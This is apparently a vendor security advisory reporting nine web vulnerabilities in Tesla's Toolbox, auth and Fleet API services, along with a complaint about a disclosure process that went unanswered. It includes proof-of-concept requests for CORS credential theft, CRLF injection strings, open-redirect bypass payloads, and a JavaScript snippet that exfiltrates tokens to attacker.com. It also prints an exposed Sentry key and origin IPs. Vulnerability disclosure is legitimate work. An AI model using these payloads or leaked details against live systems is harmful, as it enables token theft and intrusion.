BURILABS
SECURITY ADVISORY · SA-2026-TSLA-001 · 18 November 2026

Tesla Toolbox: ECU Code Signing for Autopilot, Steering & Brakes — Reachable from the Internet. ODIN Factory Credential Theft. 9 Findings. 68 Days. Zero Response.

The systems that sign the code running your Tesla's steering, brakes, and airbags are reachable from the public internet. The authentication gateway to Tesla's factory diagnostic system reflects any attacker-controlled origin. Factory floor IP addresses leak in every HTML response. Python 3.6 — end of life since 2021 — runs the auth proxy. After 68 days and direct escalation to 7 Tesla executives including the VP of Security and the CFO, Tesla has not responded with a single word.

9 Findings 2 Critical (P1) 1 High (P2) 6 Medium (P3)

Remediation after 68 days: Zero confirmed fixes. Zero response. Zero acknowledgment. Bugcrowd submissions blocked by triagers, closed as “Informative”. Direct email to security@tesla.com — ignored. Escalation to VP Security, CFO, Autopilot Director — ignored.

Finding Overview

IDSeverityTitleTarget
F-01P3Staging Auth Server Misconfiguration — Captcha Bypass + Disabled Email Verificationauth-stage.tesla.com
F-02P3Cross-Domain Infrastructure Disclosure — Varnish Hostnames, Origin IPs, Internal Architecturedeveloper/service/auth.tesla.com
F-03P3Unauthenticated Jira REST API + Complete Internal API Path Disclosurefleetapi-support/developer.tesla.com
F-04P3Hidden M2M Token Flow + Fleet API gRPC Architecture + PKI Certificate Chainauth/fleet-api.tesla.com
F-05P2Full-Read SSRF via Partner Registration + Broken Domain Control Validationfleet-api/developer.tesla.com
F-06P3Sentry DSN Event Injection + Deprecated OAuth Flows + M2M Scope Escalationauth.tesla.com
F-07P1ECU Code Signing Endpoints Internet-Reachable + Factory Infrastructure + CRLF Header Injection (CVE-2024-23829)toolbox.tesla.com
F-08P1ODIN Auth Proxy CORS Credential Theft — Any Origin Reflected with Credentialstoolbox.tesla.com
F-09P2OAuth Open Redirect + Server Crash + Access Level Manipulation (standard/energy/optimus)toolbox.tesla.com

F-07 — Critical (P1): ECU Code Signing Endpoints Internet-Reachable + CRLF Header Injection

Tesla's service center platform at toolbox.tesla.com exposes the complete frontend application — including all JavaScript bundles and CSP policy — without authentication. The Toolbox Notary service provides ECU configuration signing endpoints that are reachable from the public internet for every major vehicle computer type.

16 ECU Code Signing Endpoints — All Internet-Reachable

EndpointECU TypeSafety-Critical
/notary/ecuconfig/ap/signAutopilotYES — autonomous driving
/notary/ecuconfig/epas/signElectric Power Assisted SteeringYES — steering control
/notary/ecuconfig/abs/signAnti-Lock Braking SystemYES — braking
/notary/ecuconfig/esp/signElectronic Stability ProgramYES — stability control
/notary/ecuconfig/airbag/signAirbagYES — occupant safety
/notary/ecuconfig/bms/signBattery Management SystemYES — battery safety
/notary/ecuconfig/hvbms/signHigh-Voltage BMSYES — HV battery
/notary/ecuconfig/gateway/signVehicle GatewayYES — CAN bus gateway
/notary/ecuconfig/vcm/signVehicle Controller ModuleYES — vehicle control
/notary/ecuconfig/inverter/signMotor InverterYES — drivetrain
/notary/ecuconfig/charger/signChargerModerate
/notary/ecuconfig/mcu/signMedia Control UnitLow — infotainment
/notary/ecuconfig/ic/signInstrument ClusterModerate
/notary/ecuconfig/hvac/signHVACLow
/notary/ecuconfig/pcs/signPower Conversion SystemModerate
/notary/ecuconfig/vcu/signVehicle Control UnitYES
ECU endpoint testing — all return 401 on POST, 405 on GET (not 404)
POST /notary/ecuconfig/ap/sign    → 401 Unauthorized (Server: envoy)
POST /notary/ecuconfig/epas/sign  → 401 Unauthorized
POST /notary/ecuconfig/abs/sign   → 401 Unauthorized
POST /notary/ecuconfig/airbag/sign → 401 Unauthorized
GET  /notary/ecuconfig/hvbms/sign → 405 Method Not Allowed

Defence-in-depth failure: The ECU code signing service should be isolated behind VPN + network segmentation + mTLS + hardware security module (HSM). Currently, only a single layer of JWT/certificate authentication separates the public internet from the ability to sign configurations for safety-critical vehicle systems. No network-level restriction exists.

CRLF Header Injection — CVE-2024-23829 / CVE-2023-37276 (Confirmed)

The ODIN auth proxy runs Python 3.6 (EOL since December 2021) and aiohttp 3.2.0 (released 2018, 8 years old). This endpoint bypasses Envoy's ext-auth filter and routes directly to the Python backend.

Server header disclosure
POST /api/v1/auth/odin_token HTTP/1.1
Host: toolbox.tesla.com
Content-Type: application/json

{}

HTTP/1.1 401 Unauthorized
x-tesla-odin-auth-proxy-service: odin_auth_proxy
Server: Python/3.6 aiohttp/3.2.0
CRLF injection proof — Authorization header injected via header value
# Baseline (no injection):
X-Test: clean_value
→ 401 Unauthorized (no Authorization header seen)

# CRLF injection (Authorization injected via X-Test):
X-Test: val\r\nAuthorization: Bearer injected_token
→ 400 Bad Request (Authorization header SEEN and PROCESSED)

# All variants confirmed:
CRLF (\r\n)  → 400 (auth processed) — CVE-2024-23829
Bare LF (\n) → 400 (auth processed) — CVE-2023-37276
Bare CR (\r) → 400 (auth processed)
Tab fold     → 400 (auth processed)

Manufacturing Fleet Architecture

The JS bundle exposes the complete ODIN permission system:

PermissionTarget
ODIN_CONNECT_REMOTELY_TO_AUSTIN_MFG_FLEETAustin Gigafactory (Cybertruck, Model Y)
ODIN_CONNECT_REMOTELY_TO_BERLIN_MFG_FLEETBerlin Gigafactory (Model Y Europe)
ODIN_CONNECT_REMOTELY_TO_MFG_FLEETGeneral manufacturing fleet
ODIN_CONNECT_REMOTELY_TO_ENGINEERING_FLEETEngineering fleet
ODIN_CONNECT_REMOTELY_TO_ENERGY_PRODUCTION_FLEETPowerwall/Megapack production
SECETH_UNLOCK_REMOTELYRemote Security Ethernet unlock
SIDELOAD_FIRMWAREFirmware sideloading to vehicle ECUs
SERVICE_SHELLVehicle shell/console access

Factory Floor IP Addresses — Leaked in Every HTML Response

The Content-Security-Policy meta tag leaks private network addresses:

connect-src: http://192.168.90.100:8080     (vehicle diagnostic gateway)
             ws://192.168.90.100:8080      (WebSocket diagnostic)
             http://172.22.22.100:8080     (secondary network)
             ws://192.168.90.100:8001/api/ws (real-time vehicle data)
             http://192.168.90.103:8901    (additional internal service)
             http://localhost:7003/provisioning/genealogy/din

Tesla Bot (Optimus) — Diagnostic Platform Discovered

The Toolbox help article system includes HELP_ALERT_ARTICLES_OPTIMUS permission alongside Vehicle and Energy categories. The OAuth flow supports three access levels: standard, energy, and optimus. Tesla is building the Optimus robot diagnostic platform into Toolbox.

F-08 — Critical (P1): ODIN Auth Proxy CORS Credential Theft

The ODIN Auth Proxy at /api/v1/auth/odin_token reflects any Origin header value containing the substring “tesla” in its CORS response, with Access-Control-Allow-Credentials: true. This allows a malicious page to steal ODIN authentication tokens from Tesla technicians.

Preflight request — attacker-controlled origin accepted
OPTIONS /api/v1/auth/odin_token HTTP/1.1
Host: toolbox.tesla.com
Origin: https://toolbox.tesla.com.evil.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://toolbox.tesla.com.evil.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: AUTHORIZATION,CONTENT-TYPE
Server: Python/3.6 aiohttp/3.2.0

Origin Reflection Test Results

Origin SentReflected?Credentials?
https://toolbox.tesla.comYesYes
https://toolbox.tesla.com.evil.comYesYes
https://tesla.com.hacker.netYesYes
https://anything.tesla.comYesYes
nullYesYes
https://evil.comNo (403)No
Attack scenario — JavaScript on attacker page
// Attacker hosts this on tesla.com.hacker.net:
fetch('https://toolbox.tesla.com/api/v1/auth/odin_token', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({/* ODIN token request */})
}).then(r => r.text()).then(data => {
  // Response is readable — CORS reflects our origin
  navigator.sendBeacon('https://attacker.com/exfil', data);
});

Impact: ODIN is Tesla's vehicle diagnostic and factory fleet management system. A valid ODIN token grants access to vehicle ECU data, diagnostics, and fleet connections. Combined with CRLF header injection (F-07) on the same endpoint, an attacker can make cross-origin requests with injected internal headers and read the full response.

F-05 — High (P2): Full-Read SSRF via Partner Registration + Broken DCV

The Fleet API partner onboarding endpoint at /api/1/partner_accounts makes an outbound HTTPS request to a user-controlled domain and reflects the complete HTTP response body in the error message — turning a blind SSRF into a full-read SSRF.

SSRF proof — complete response body reflected
POST /api/1/partner_accounts HTTP/1.1
Host: fleet-api.prd.na.vn.cloud.tesla.com
Authorization: Bearer {m2m_token}
Content-Type: application/json

{"domain":"brlabs.dev"}

HTTP/1.1 400
{
  "error": "Public key download failed for
    https://brlabs.dev/.well-known/appspecific/com.tesla.3p.public-key.pem,
    error: must return 200 response code, got 404;
    body: <!DOCTYPE html>\n<html lang=\"de\">\n<head>...
    [COMPLETE HTML PAGE]..."
}

IP address filtering is present but bypassable via DNS — the backend resolves domains and connects to whatever IP they resolve to. An attacker who controls their domain's DNS can point subdomains to internal IP addresses.

Broken Domain Control Validation

The DCV endpoint at /api/dcv on developer.tesla.com returns {"success":true} for any domain — including tesla.com, google.com, and nonexistent domains. Even an empty request body returns success. No authentication required.

POST /api/dcv HTTP/1.1
Host: developer.tesla.com
Content-Type: application/json

{"domain":"tesla.com"}     → {"success":true}
{"domain":"google.com"}    → {"success":true}
{"domain":"nonexistent.com"} → {"success":true}
{}                         → {"success":true}

F-09 — High (P2): OAuth Open Redirect + Server Crash + Access Level Manipulation

The Toolbox OAuth authorize endpoint at /api/v1/oauth/authorize is accessible without authentication and exposes:

  • OAuth client ID: toolboxvin with scope=openid email profile employee
  • Open redirect: original_url parameter injected directly into redirect_uri
  • Server crash: /api/v1/oauth/callback returns HTTP 500 on missing/empty code
  • Login crash: /api/v1/auth/login returns HTTP 500 on any non-empty password
  • Access level manipulation: set_access_level_to=standard|energy|optimus is client-controlled
Open redirect payloads accepted by auth.tesla.com
original_url=//evil.com         → Accepted (protocol-relative)
original_url=//evil.com/phish   → Accepted
original_url=/\evil.com         → Accepted (backslash bypass)
original_url=/%09//evil.com     → Accepted (tab bypass)
original_url=/%0a//evil.com     → Accepted (newline bypass)

RBAC Groups Exposed

tbx-engineering, tbx-service-engineering, tbx-manufacturing,
tbx-content-editors, tbx-admin, tbx-technical-specialist,
tbx-semitruck-engineering, tbx-semitruck-technical-specialist,
tbx-semitruck-content-editor, tbx-semitruck-admin

F-01 — Medium (P3): Staging Auth Server Misconfiguration

auth-stage.tesla.com is publicly accessible and exposes:

  • Captcha bypass: ?disable_captcha=true replaces all hCaptcha site keys with automation key c8de4fa2-24ea-4f14-8076-c63ceb36b300
  • Email verification disabled: enableRegistrationEmailVerify: false
  • Shared Sentry DSN: Staging and production share the same error tracking at sentry-api.ops.na.vn.cloud.tesla.com/149
  • Production HTTP downgrade: accountHomeURL: "http://accounts.tesla.com" (not HTTPS)
Captcha bypass logic (staging only)
const { automationKey } = window.config.captcha.hcaptcha;
if (automationKey && new URLSearchParams(window.location.search)
    .get("disable_captcha") === "true") {
    Object.entries(window.config.captcha.hcaptcha).forEach(([key]) => {
        window.config.captcha.hcaptcha[key] = automationKey;
    })
}

F-02 — Medium (P3): Cross-Domain Internal Infrastructure Disclosure

Multiple Tesla domains leak internal infrastructure through three vectors:

Varnish Server Hostnames

developer.tesla.com → sjc04p1tegvr68.teslamotors.com
service.tesla.com   → sjc38p1tegvr67.teslamotors.com
# Pattern: sjc[rack]p1tegvr[id].teslamotors.com
# sjc = San Jose datacenter, p1 = Production tier 1

Origin IP Addresses (CDN Bypass)

DomainOrigin IPHeader
auth.tesla.com66.17.4.74, 66.17.4.78originip
ownership.tesla.com199.43.255.68originip
fleet-auth.prd.vn.cloud.tesla.com66.17.4.76, 66.17.4.78originip

Full origin cluster: 66.17.4.{74,76,78} — at least 3 servers in the same /24 subnet. Direct connection bypasses Akamai WAF.

Chinese Infrastructure

auth-stage.tesla.cn:
  x-datacenter: cn-pvg16-eng-iam  (Shanghai Pudong, Engineering IAM)
  server: TencentEdgeOne

auth.tesla.cn:
  x-datacenter: cn-pvg16-prd-iam  (Shanghai Pudong, Production IAM)

F-03 — Medium (P3): Unauthenticated Jira REST API + Internal API Architecture

fleetapi-support.tesla.com exposes Jira Service Desk REST API without authentication:

GET /rest/servicedeskapi/info → 200 OK
{
  "version": "10.3.24-QR-0009",
  "buildChangeSet": "781b2a8a",
  "buildDate": "2026-07-31T10:53:40+1000"
}

developer.tesla.com JS bundle (860KB) exposes complete internal API paths:

  • Account Master (AM): 12 REST endpoints with federationId parameter
  • Customer 360 (C360): Full GraphQL query schema including allAccessibleBizAccountsByFederationID
  • ADFS SSO: {ssoHost}/adfs/oauth2/token
  • Payment/Consent URLs: /teslaaccount/business/account/payments/{publicAccountId}

F-04 — Medium (P3): Hidden M2M Token Flow + Fleet API Architecture + PKI Chain

The OIDC discovery document declares only authorization_code, but client_credentials (M2M) works. The /oauth2/v3/clientinfo endpoint returns the complete internal API configuration:

{
  "app": { "id": 77099, "name": "BuriCar" },
  "apis": [
    {
      "id": 8341,
      "identifier": "https://fleet-api.prd.na.vn.cloud.tesla.com",
      "name": "boring company",
      "owner_app_id": null,
      "policy_config_json": {
        "rules": [{"allow_all": "true"}],
        "mfa_optional": true
      }
    }
  ]
}

Key disclosures:

  • Sequential app IDs: 77,099 Fleet API apps registered (enumerable)
  • “boring company” — internal codename for NA Fleet API
  • MFA optional: mfa_optional: true in default login policy
  • Cross-region token acceptance: NA token accepted by EU Fleet API (CN correctly rejects)
  • gRPC backend: GRPC::NotFound and GRPC::InvalidArgument errors with internal parameter names
  • PKI downgrade: Aug 10 key rotation used X.509 v1 certs (manual openssl req) instead of v3 (automated PKI)

F-06 — Medium (P3): Sentry DSN Event Injection + Deprecated OAuth Flows + Scope Escalation

Sentry Event Injection (Confirmed)

The auth.tesla.com config file exposes an internal Sentry DSN. Events are accepted and stored:

POST /api/149/store/ HTTP/1.1
Host: sentry-api.ops.na.vn.cloud.tesla.com
X-Sentry-Auth: Sentry sentry_key=6f06fedc9dbf391f2e4fe2e0b1ac1c78,
               sentry_version=7
Content-Type: application/json

{
  "event_id": "aaaa0000bbbb1111cccc2222dddd3333",
  "message": "BugBounty PoC - Injected via exposed DSN",
  "level": "info"
}

→ HTTP 200: {"id":"aaaa0000bbbb1111cccc2222dddd3333"}

Deprecated OAuth Flows Accepted

OIDC discovery declares only authorization_code, but the server accepts:

  • response_type=token (implicit — tokens in URL fragment)
  • response_type=id_token
  • response_type=code+token (hybrid)
  • response_type=code+id_token (hybrid)

Implicit flow bypasses PKCE entirely, despite pkce_enabled: true in config.

M2M Scope Escalation

openid and offline_access are granted to M2M tokens even when not in granted_scopes_json. The scope filter fails open for scopes outside the Fleet API scope list.

Bugcrowd Experience

Tesla's Bugcrowd programme is listed as the official vulnerability disclosure channel. We submitted findings through the platform as instructed.

Result: Valid findings were closed as “Informative” by triagers (John Fritz, Klaus). Our researcher account was effectively blocked from further submissions. This is not a disagreement about severity — it is a failure of the triage process.

We then attempted direct CVD via email (security@tesla.com, vulnerability-reports@tesla.com). The vulnerability-reports@ address has been removed entirely — it bounces. security@tesla.com received our reports but never responded.

Disclosure Timeline

Vendor Response

Tesla, Inc.: No response. Not a single word. Not from security@tesla.com. Not from Bugcrowd. Not from any of the 7 executives contacted directly. Not from press, IR, or legal.

The full technical report was never requested, never delivered, and never reviewed — because Tesla never responded to any of the four separate contact attempts across three different channels over 68 days.

Total silence: 68 days. Contact attempts: 4. Channels used: 3 (email, Bugcrowd, executive escalation). Executives contacted: 7. Response: Zero.

Regulatory Context

  • UNECE R155 / R156 — Vehicle cybersecurity and software update management. ECU code signing endpoints being internet-reachable without network-level isolation is a defence-in-depth failure relevant to both regulations.
  • ISO/SAE 21434 — Automotive cybersecurity engineering. The ODIN CORS misconfiguration and CRLF header injection on the vehicle diagnostic gateway represent failures in secure development lifecycle.
  • ISO/IEC 29147 — Vulnerability disclosure. Tesla's Bugcrowd programme failed to triage valid findings. Direct CVD was ignored across all channels.

Affected Systems

SystemTesla Toolbox (Service Center Platform)
Domainstoolbox.tesla.com, auth.tesla.com, auth-stage.tesla.com, fleet-api.prd.{na,eu}.vn.cloud.tesla.com, fleetapi-support.tesla.com, developer.tesla.com
Critical ComponentsODIN Auth Proxy (Python 3.6 / aiohttp 3.2.0), Notary ECU Signing Service, Fleet API
Vehicle ECUs AffectedAutopilot, EPAS Steering, ABS, ESP, Airbag, BMS, HVBMS, Gateway, VCM, Inverter, Charger, MCU, IC, HVAC, PCS, VCU
Confirmed CVEsCVE-2024-23829 (aiohttp CRLF), CVE-2023-37276 (aiohttp bare LF)

Recommendations

  1. Firewall the ECU code signing endpoints — /notary/ecuconfig/*/sign should NEVER be internet-accessible, even behind auth. VPN + mTLS + HSM minimum.
  2. Fix ODIN CORS — whitelist exact origins, validate domain boundaries (not substring), remove null origin
  3. Upgrade Python and aiohttp — Python 3.6 is 5 years past EOL. aiohttp 3.2.0 is 8 years old with multiple CVEs.
  4. Remove factory floor IPs from CSP — private addresses should not appear in HTML served to browsers
  5. Fix SSRF response body reflection — return generic errors, not the full HTTP response from the target
  6. Fix DCV endpoint — implement actual domain validation, not universal success
  7. Restrict staging access — auth-stage.tesla.com should be behind VPN
  8. Strip origin IPs and Varnish debug headers from all production responses
  9. Restrict Jira REST API — disable anonymous access on fleetapi-support.tesla.com
  10. Fix OAuth implicit/hybrid flow acceptance — return unsupported_response_type as RFC 6749 requires
  11. Rotate Sentry DSN and restrict to auth.tesla.com origin only
  12. Implement a functioning vulnerability disclosure process — the current one doesn't work

Methodology & Ethical Disclosure

All findings are from static analysis and public endpoint testing.

  • No systems were compromised. No data was accessed.
  • X-Bug-Bounty: bugcrowd-burilabs header sent with all requests.
  • Research conducted from authorized Bugcrowd researcher IP (GCP instance).
  • No vehicles were accessed. No VINs used. No diagnostic sessions attempted.
  • No authentication was bypassed. All API endpoints correctly returned 401.
  • Sentry event injection: harmless info-level event with bug_bounty tag.
  • SSRF testing: only own domain (brlabs.dev) targeted.
  • No brute force. All findings from targeted manual analysis.

Credits

Discovered and reported by Burak Yilmaz, BuriLabs Security Research.
Reference: BuriLabs-TESLA-001

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